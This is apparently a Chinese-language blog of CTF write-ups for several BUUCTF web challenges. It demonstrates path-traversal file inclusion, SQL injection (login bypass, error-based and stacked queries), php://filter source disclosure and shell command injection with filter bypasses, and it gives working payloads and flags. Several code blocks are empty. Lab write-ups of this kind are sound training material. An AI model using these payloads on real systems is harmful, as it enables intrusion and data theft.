【HCTF 2018】WarmUp
知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)
题目分析
ctrl+shift+i 查看网页源代码,发现提示 source.php
|
|
url 打开source.php 文件。发现hint.php 文件
打开 http://af382c6e-72dc-485e-86c3-df8ac4429272.node3.buuoj.cn/?file=hint.php
|
|
得到flag应该存在于 ffffllllaaaagggg文件中
查看 source.php 源代码:
|
|
发现只有
|
|
才能通过,但发现截取有问题
|
|
在source.php?后加一个/,这时 source.php会被视为一个文件夹,后面每一级的 .. 意为上一层文件夹,通过不断尝试加入../最后可以知道具体的目录层级,以访问到ffffllllaaaagggg。
随即构造
http://af382c6e-72dc-485e-86c3-df8ac4429272.node3.buuoj.cn?file=hint.php?/../../../../ffffllllaaaagggg
flag{8f6dc82a-3d07-41ca-a3af-55b2f99bc31b}
【极客大挑战 2019】EasySQL
知识点:SQL注入,构造闭合,万能密码
题目分析
简单的SQL注入,使用万能密码,构造闭合。
打开hackbar,进行 get注入,尝试构造闭合 1',SQL报错说明存在注入漏洞:
解法一:构造闭合 :
|
|
解法二:使用万能密码构造闭合:
|
|
【极客大挑战 2019】Havefun
知识点:PHP代码审计
题目分析
F12查看源码,会看到:
|
|
直接在url 中加入参数:?cat=dog 即可得到flag
|
|
flag{49f8ed07-a083-40c0-8f3f-a5eafe70ad32}
【强网杯 2019】随便注
知识点:SQL注入--堆叠注入
题目分析
-
输入 1' # 回显正常
-
判断字段长度:
1' order by 3#
发生报错:error 1054 : Unknown column '3' in 'order clause'
- 使用union注入:
1' union select 1,database()#
回显过滤了关键字("/select|update|delete|drop|insert|where|./i",$inject);
-
使用 extractvalue() 报错注入查询数据库信息
1 2 3 4 5 6 7 8 9 10 11 12
用户名 1' and (extractvalue(1,concat(0x7e,user(),0x7e)));# error 1105 : XPATH syntax error: '~root@localhost~' 数据库 1' and (extractvalue(1,concat(0x7e,database(),0x7e)));# error 1105 : XPATH syntax error: '~supersqli~' 版本 1' and (extractvalue(1,concat(0x7e,version(),0x7e)));# error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
-
使用堆叠注入:
'; show databases;#
查询到所有的数据库
|
|
- 查询当前数据库的表名:
1'; show tables;#
|
|
- 查询表words 和 1919810931114514 的字段名:
|
|
其他注入方法:
|
|
在表 '1919810931114514' 查询到 flag字段
|
|
因为select 关键字被过滤了,所有这里可以采用以下方法:
方法一:预处理(将 payload 构造成 16 进制)
预编译相关语法:
|
|
payload:
|
|
方法二:使用 alter关键字修改表名、字段名
alter语法:
|
|
payload:
|
|
然后再执行 1' or 1=1 # 即可得到flag
方法三:使用 handler 查询语句
handler 语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
handler 语法:
|
|
payload:
|
|
【SUCTF 2019】EasySQL
知识点:SQL注入--堆叠注入
题目分析
通过字典进行 Fuzzing 测试,发现一堆关键字被 WAF 过滤了。
测试出这里通过堆叠注入可以:
使用 Burp 或者 Live HTTP headers 抓包:
post参数重放攻击:
- 获取库名:
query=1;show databases#
|
|
- 获取表名:
query=1; show tables#
Array ( [0] => 1 ) Array ( [0] => Flag )
flag 是放在 Flag表中的,但是查询关键字都被过滤了。
一、非预期解:输入 *,1 就查询出flag了,出题人忘记过滤 * 了
通过
|
|
输入 *,1 的话,数据库查询语句为:
$sql = "select *,1||flag from Flag";
即 select *,1 from Flag 就能查询出 flag
网上说能扫出数据库,手法暂时不会,下面是源码:
|
|
二、预期解:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的 sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能
|
|
【ACTF2020 新生赛】Include
知识点:php 伪协议利用
php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:
file:// | — 访问本地文件系统 |
---|---|
http:// | — 访问 HTTP(s) 网址 |
ftp:// | — 访问 FTP(s) URLs |
php:// | — 访问各个输入/输出流(I/O streams) |
zlib:// | — 压缩流 |
data:// | — 数据(RFC 2397) |
glob:// | — 查找匹配的文件路径模式 |
phar:// | — PHP 归档 |
ssh2:// | — Secure Shell 2 |
rar:// | — RAR |
ogg:// | — 音频流 |
expect:// | — 处理交互式的流 |
这里考的是 php:// 协议 。
-
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
-
作用: php:// 访问各个输入/输出流(I/O streams),
在CTF中经常使用的是 php://filter 和php://input,
php://filter用于 读取源码,php://input 用于执行php代码。
-
说明: PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
协议 作用 php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的 data
部分,在enctype="multipart/form-data"
的时候php://input
是无效的。php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3
引用了文件描述符 3。php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory
总是把数据储存在内存中,而php://temp
会在内存量达到预定义的限制后(默认是2MB
)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()
的方式一致。php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式 (all-in-one)
的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。 -
php://filter参数详解
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(* \ *)分隔。 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符 ( \ )分隔。 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 -
可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 作用 string.rot13 等同于 str_rot13()
,rot13变换string.toupper 等同于 strtoupper()
,转大写字母string.tolower 等同于 strtolower()
,转小写字母string.strip_tags 等同于 strip_tags()
,去除html、PHP语言标签转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于 base64_encode()
和base64_decode()
,base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法
示例:
|
|
读取文件源码(针对php文件需要base64编码)
题目分析
查看网页源码发现:
|
|
有一份 flag.php 文件,
|
|
打开后得到:
Can you find out the flag?
从源码中查找信息未果,尝试 php://input,得到 input 被过滤了。
|
|
得到:hacker!
尝试 php://filter/read=convert.base64-encode/resource=flag.php 读取源码信息:
|
|
得到base64加密结果:
|
|
解密得到:
|
|
【极客大挑战 2019】Secret File
知识点:php://伪协议
题目分析
查看网页源代码,发现有一份 php 文件夹
打开后得到下面的图,查看存放的 secret 文件,但没有结果。查看源代码也没特别的信息。
用BURP抓包分析,获取到 secr3t.php 文件。
执行查询 secr3t.php文件
|
|
|
|
得到 flag.php 文件,查看源码也没有信息
审计上面的php代码,发现这里存在 文件包含 ,且过滤了关键字 "../" ,"input","data","tp",但没有过滤 "filter "
|
|
|
|
|
|
得到base64加密的文件:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YWVjMzA3YTQtOGI3ZS00YzVkLWI0YmQtNGQ3NjM2ZmRhOGRmfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解码得到:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{aec307a4-8b7e-4c5d-b4bd-4d7636fda8df}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
【ACTF2020 新生赛】Exec
知识点:命令执行
题目分析
输入本地ip 127.0.0.1 查看回显
PING 127.0.0.1 (127.0.0.1): 56 data bytes
输入 127.0.0.1 | ls 查看
index.php
测试 127.0.0.1 | ls / 查看上级目录
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
直接 127.0.0.1 | cat /flag
flag{51b10547-21c0-44fa-af89-e4c0f6fd3b96}
【极客大挑战 2019】LoveSQL
知识点:SQL注入,构造闭合,万能密码
题目分析
尝试使用万能密码:
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' or '1'='1 &password=1' or '1'='1
回显登录成功,但并没有拿到flag,继续注入
判断字段数:
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' order by 4 %23&password=1' or '1'='1
union注入查询:
|
|
回显成功:
查询数据库名:
|
|
查询表名、字段名:
|
|
查询geekuser、l0ve1ysq1表 的字段内容:
|
|
拿到flag:
|
|
【GXYCTF2019】Ping Ping Ping
知识点:命令执行
绕过空格的方法大概有以下几种:
|
|
|
|
黑名单绕过
|
|
题目分析
命令执行注入:
|
|
发现 flag.php 文件夹
|
|
拿flag:
|
|
/?ip= 1fxck your symbol!
报错提示:空格被过滤了
尝试了各种空格绕过都不行,先去看一下index.php文件:
http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1index.php
|
|
过滤了许多标点,空格,bash,包括flag的贪婪匹配。
解决方法:
方法一:黑名单绕过:变量拼接
我们看到源码中有一个$a变量可以覆盖,黑名单绕过
|
|
查看源代码,拿到FLAG:
|
|
方法二:黑名单绕过:base64,sh脚本
bash被过滤了?那就用sh。sh的大部分脚本都可以在bash下运行。
|
|
查看源码,拿到flag
方法三:内联执行``
linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令,将反引号内命令的输出作为输入执行。
因为 ls 命令能够拿到目录下的文件:
|
|
flag.php index.php
所以使用内联执行,flag.php 会被作为输入执行,以获取 flag.
http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$1`ls`
查看网页源代码,拿到flag。